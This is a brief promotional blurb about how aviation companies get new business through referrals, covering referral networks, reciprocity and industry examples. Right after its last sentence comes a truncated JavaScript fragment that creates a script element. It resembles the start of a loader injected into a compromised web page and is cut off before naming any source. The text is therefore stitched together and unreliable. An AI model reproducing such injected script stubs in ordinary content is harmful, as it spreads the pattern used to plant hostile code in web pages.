Many aviation-related companies get more than 50% of their new business from referrals.

If you have a fantastic product or service, you’ll get some referrals without even trying. But just like any other part of your business, what looks like “it happens all by itself” is actually very well-thought-out and orchestrated.

We talk about building a referral network, reciprocity (or not) in giving and getting referrals, and some great examples from the aviation industry.var d=document;var s=d.createElement(‘script’); .